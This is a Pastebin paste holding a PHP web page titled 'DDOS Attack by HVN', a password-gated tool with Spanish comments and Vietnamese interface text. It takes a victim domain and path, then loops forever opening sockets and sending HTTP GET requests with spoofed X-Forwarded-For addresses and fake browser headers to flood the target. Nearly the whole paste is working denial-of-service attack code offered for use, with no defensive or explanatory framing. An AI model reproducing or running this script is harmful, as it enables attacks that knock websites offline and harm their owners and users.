HackerPro536

ddos php

Aug 27th, 2014
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.31 KB | None | 0 0
  1. <?php
  2. $dominio = $_POST['host'];
  3. $ruta = $_POST['path'];
  4. $port = $_POST['port'];
  5. $poder = $_POST['poder'];
  6. $pw = $_POST['pw'];
  7. ?>
  8. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  9. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
  10. <head>
  11. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  12. <meta name="msvalidate.01" content="ECAB4AE09BDECAEDA633439FD8D12D38" />
  13. <meta name="author" content="Punker2Bot" />
  14. <title>DDOS Attack by HVN™</title>
  15. <style>
  16. body { padding: 3px; }
  17. * {
  18. background-color: #1F1F1F;
  19. color: #0EEF57;
  20. font-family: calibri,tahoma,verdana,terminal,serif,lucida,system;
  21. font-size: 18px;
  22. margin: 0; }
  23. input {
  24. width: 440px;
  25. border: solid 1px #00BCFF;
  26. padding: 2px; }
  27. input.accion {
  28. width: 215px;
  29. border: solid 2px #00BCFF;
  30. padding: 3px;
  31. cursor: pointer }
  32. input:hover , input:active { border-color: #FFE900 }
  33. #dinamico {
  34. padding: 3px;
  35. font-size: 13px!important;
  36. height: 300px;
  37. min-height: 300px;
  38. max-height: 300px;
  39. overflow: hidden }
  40. </style>
  41. <script type="text/javascript">
  42. function ir_a_bajo(){
  43. var scc = document.getElementById('dinamico');
  44. scc.scrollTop = scc.scrollHeight + scc.offsetHeight;
  45. }
  46. setInterval('ir_a_bajo()',75);
  47. </script>
  48. </head>
  49. <body id="index">
  50. <form action="" method="post" name="jaja">
  51. <table>
  52. <tr>
  53. <td class="titulo">
  54. Domain</td> <td><input id="boton" type="text" name="host" value="<?php if($dominio=="") { print 'www.victima.com'; } else { print htmlentities($dominio); } ?>" size="40px" ></td>
  55. </tr>
  56. <tr>
  57. <td class="titulo">
  58. Path </td> <td> <input id="boton" type="text" name="path" value="<?php if($ruta=="") { print '/index.php'; } else { print htmlentities($ruta); } ?>" size="40px" /> </td>
  59. </tr>
  60. <tr>
  61. <td class="titulo">
  62. Cổng </td>
  63. <td><input id="boton" type="text" disabled name="port" value="<?php if($port=="") { print '80 (disabled)'; } else { print htmlentities($port); } ?>" size="40px" /> </td>
  64. </tr>
  65. <tr>
  66. <td class="titulo">
  67. Mật khẩu </td>
  68. <td><input id="boton" type="text" name="pw" value="<?php if($pw=="") { print 'Password'; } else { print htmlentities($pw); } ?>" size="40px" /> </td>
  69. </tr>
  70. <tr>
  71. <td>Bạn đã sẵn sàng chưa?</td>
  72. <td><input type="submit" value="DDOS ngay bây giờ!" class="accion"></td>
  73. </tr>
  74. </table>
  75. </form>
  76. <br />
  77. <div id="dinamico">
  78. <?php
  79. @set_time_limit(0);
  80. $msj = array("<h2>Bạn không thể tiếp tục vì nhập sai mật khẩu</h2></div></body></html>","<h2>Hãy điền đúng thông tin về victim trước đã!</h2></div></body></html>","<big><b>Không thể tấn công!!!</b></big><br />n","0a32e26a417d2c7cfbd33","2e2234a41122a233cfbd333b9bc30a03");
  81. function ddoser($dominio,$ruta) {
  82. //hago un random de ips para no ser siempre el mismo vistitante
  83. $ip_simulada = rand(188,254).'.'.rand(1,254).'.'.rand(1,254).'.'.rand(1,254);
  84. //defino y abro socket segun los datos del form
  85. $socket = fsockopen($dominio, "80", $errno, $errstr, 30);
  86. // comienzan los datos del header para parecer una persona comun xD
  87. $header = "GET ".$ruta." HTTP/1.1rn";
  88. $header .= "Host: ".$dominio."rn";
  89. $header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16rn";
  90. $header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpg,image/gif,*/*;q=0.5rn";
  91. $header .= "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3rn";
  92. $header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn";
  93. $header .= "Keep-Alive: 300rn";
  94. $header .= "*****-Connection: keep-alivern";
  95. $header .= "Referer: http://".$dominio.$ruta."rn";
  96. $header .= "Content-Type: application/x-www-form-urlencodedrn";
  97. $header .= "X-Forwarded-For: ".$ip_simulada."rn";
  98. $header .= "Via: CB-Prxrn";
  99. $header .= "Connection: Closernrn";
  100. //envio todo lo recolectado
  101. $send_header = fwrite($socket,$header);
  102. //lo muestro en la web
  103. if($send_header) {
  104. print("Attacking as: <span style='color:#FF0F2F'>".$ip_simulada."</span> @ ".htmlentities(str_replace('www.','',$dominio))."".htmlentities($ruta)."<br />n");
  105. } else {
  106. print("$msj[2]");
  107. }fclose($socket);
  108. }
  109. if($msj[3] !== (md5(md5($pw)))) { die ("$msj[0]");}
  110. if($dominio !== "" && $dominio !== "www.victima.com") {
  111. while(1) {
  112. ddoser($dominio,$ruta);
  113. }
  114. } else { die ("$msj[1]");}
  115. ?>
  116. </div>
  117. </body>
  118. </html>
Advertisement
Add Comment
Please, Sign In to add comment